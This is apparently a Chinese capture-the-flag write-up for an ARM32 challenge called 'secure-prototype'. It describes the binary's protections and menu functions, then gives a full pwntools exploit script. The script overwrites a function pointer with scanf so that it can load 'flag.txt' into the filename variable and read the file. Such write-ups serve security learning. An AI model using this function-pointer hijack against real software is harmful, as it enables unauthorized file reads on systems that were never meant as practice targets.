周末在给小朋友讲课aaa… 看题的时候已经快结束了😥趁远端还没挂赶紧复现一下🤩。自己做的题就放exp嗷(emm就1道),参考师傅们的就不复制了。
secure-prototype(low)
arm-32-little,Partial RELRO,Canary found,NX enabled,No PIE (0x10000)
注意到没开启PIE,应该比较容易利用…
程序还挺多功能,看上去有点像堆,实际上没用到uaf。
- edit_func_ptr: 第一个参数赋值给 func_ptr(data段)。
- calc_stonks: 调用 func_ptr(data段)计算
- change_calc_add_mul: 切换加/乘法,用 func_ptr(data段)存储。
- print_stonks: 打印当前的计算结果 stonks(bss段)。
- show_old_stonks: 读 filename 存储的文件,free掉临时申请的chunk。
- leak: 没啥用处,打印的 data段和 bss段的地址,都已知。
前两个功能,一个修改func一个调用func,相当于能执行任意函数了,调用时参数是两个。看了一下plt表,能有两个参数的就是 scanf 函数。感觉题目把txt文件读到全局变量上,而不是用到的时候再open-read-close,像是给了提示emm。刚好又能在rodata段找到“%s”,因此将func_ptr改成scanf,利用calc功能的调用把 ‘flag.txt’ 读到文件名变量上,再用 show 读目标文件。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import* context(arch='arm',log_level='debug') p=process(['qemu-arm','-L','/usr/arm-linux-gnueabi','./challenge.elf']) elf=ELF('./challenge.elf')
ru = lambda s: p.recvuntil(s) rv = lambda s: p.recv(s) rl = lambda : p.recvline() sla = lambda x,y : p.sendlineafter(x,y) sl = lambda s: p.sendline(s) sd = lambda s: p.send(s) it = lambda : p.interactive()
filename_addr=0x22058
scanf_plt=0x00010570 fmt_addr=0x111fc
def menu(num): sl(str(num)) def send(a1='0',a2='0',a3='0'): ru('parameters:') sleep(1) sl(a1+' '+a2+' '+a3) sleep(1) ru('(1 will help you)') menu(1056) send(str(scanf_plt)) menu(4919) send(str(fmt_addr),str(filename_addr)) pause() sl('flag.txt') menu(48) send('0') rl() it()
|